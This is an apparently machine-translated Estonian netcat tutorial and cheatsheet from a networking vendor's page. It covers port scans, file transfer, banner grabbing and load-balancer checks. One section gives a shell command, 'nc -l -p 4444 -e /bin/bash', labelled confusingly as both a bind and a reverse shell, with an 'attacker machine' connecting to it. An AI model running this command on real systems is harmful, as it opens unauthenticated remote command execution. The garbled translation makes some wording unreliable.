Linux nc (Netcati) käsk #
Linux nc (Netcat) käsk on mitmekülgne võrguutiliit, mida kasutatakse võrgusuhtluseks, silumiseks ja testimiseks. See võib toimida lihtsa serveri või kliendina ning toetab andmete lugemist ja kirjutamist TCP või UDP kaudu. Seda nimetatakse võrgustamise „Šveitsi armee nugaks“. nc kasutatakse laialdaselt selliste ülesannete jaoks nagu portide skannimine, failiedastus ja võrguteenuste testimine.
Klahvi kasutamine ja süntaks nc käsk #
Põhisüntaks nc käsk on:
nc [OPTIONS] [HOST] [PORT]
- OPTIONSLipud käitumise juhtimiseks
nc. - HOST: Ühenduse sihtmasin.
- PORTSihtpordi number.
nc Command Cheatsheet tabel #
| käsk | Kirjeldus |
nc -zv example.com 80 |
Testi, kas port 80 on sisse lülitatud example.com on avatud (paljusõnaline režiim). |
nc -l 1234 |
Käivita kuulaja pordil 1234. |
nc example.com 80 |
Ühenda pordiga 80 example.com (nt HTTP-päringute saatmiseks). |
nc -u example.com 1234 |
Saada andmed UDP porti 1234 example.com. |
nc -l -p 8080 |
Käivita server, mis kuulab porti 8080. |
echo "Hello" | nc example.com 1234 |
Saada sõnum Hello et example.com pordil 1234. |
Levinud kasutusjuhtumid #
1. Pordi skaneerimine #
nc -zv example.com 20-25
See käsk skannib porte 20 kuni 25 example.com ja väljastab nende oleku.
2. Lihtsa vestluse seadistamine #
Looge kahe süsteemi vahel lihtne vestlus:
Esimeses süsteemis: #
nc -l -p 1234
Teises süsteemis: #
nc HOSTNAME 1234
asendama HOSTNAME esimese süsteemi IP-aadressiga.
3. Failiedastus #
Failide edastamine kahe süsteemi vahel, kasutades nc:
Saatja: #
cat file.txt | nc -q 0 HOSTNAME 1234
Saaja: #
nc -l -p 1234 > file.txt
4. Bännerite haaramine #
Teenuseteabe hankimine kaugserverist:
nc example.com 80
KASUTUSALA HEAD / HTTP/1.0 ja vajutage Enter kaks korda HTTP päiste vaatamiseks.
Täpsem kasutamine #
UDP-ühenduvus #
Testi UDP-ühenduvust sihtmärgiga:
nc -u example.com 1234
See saadab andmed UDP porti 1234 example.com.
Sidu kest #
Looge silumiseks lihtne pöördkest:
Kaugarvutis: #
nc -l -p 4444 -e /bin/bash
Ründaja masinas: #
nc TARGET 4444
Netcati turvaline kasutamine #
Turvalisuse suurendamiseks kasutage krüptograafilist versiooni nc (nt ncat SSL-iga).
Kasutamine nc koos RELIANOID Lahendused #
In RELIANOIDvõrguinfrastruktuur, nc võib täita mitmesuguseid diagnostilisi ja operatiivseid eesmärke:
1. Koormuse tasakaalustaja ühenduvuse testimine #
nc -zv loadbalancer.realianoid.local 80
Veenduge, et koormuse tasakaalustaja aktsepteerib liiklust pordil 80.
2. Jälgige taustteenuseid #
Kontrollige kiiresti taustserverite olekut:
nc -zv backend1.realianoid.local 8080
See kontrollib, kas taustteenus on pordi 8080 kaudu kättesaadav.
3. Validi puhverserveri edastamine #
Testige, kas puhverserver edastab liiklust õigesti:
nc proxy.realianoid.local 443
4. Kohandatud protokollide silumine #
Kasutama nc kohandatud protokollidega interaktsioonide silumiseks või simuleerimiseks RELIANOIDkeskkonda.
nc -l -p 5555
Protokollisõnumite testimiseks seadistage kuulaja.
kokkuvõte #
. nc (Netcat) käsk on võrguspetsialistidele hädavajalik tööriist. Selle võime skannida porte, edastada faile ja siluda ühenduvust muudab selle ideaalseks mitmekülgsete rakenduste jaoks. nc koos RELIANOID infrastruktuur aitab tagada tugeva võrgu jõudluse ja kiire probleemide lahendamise.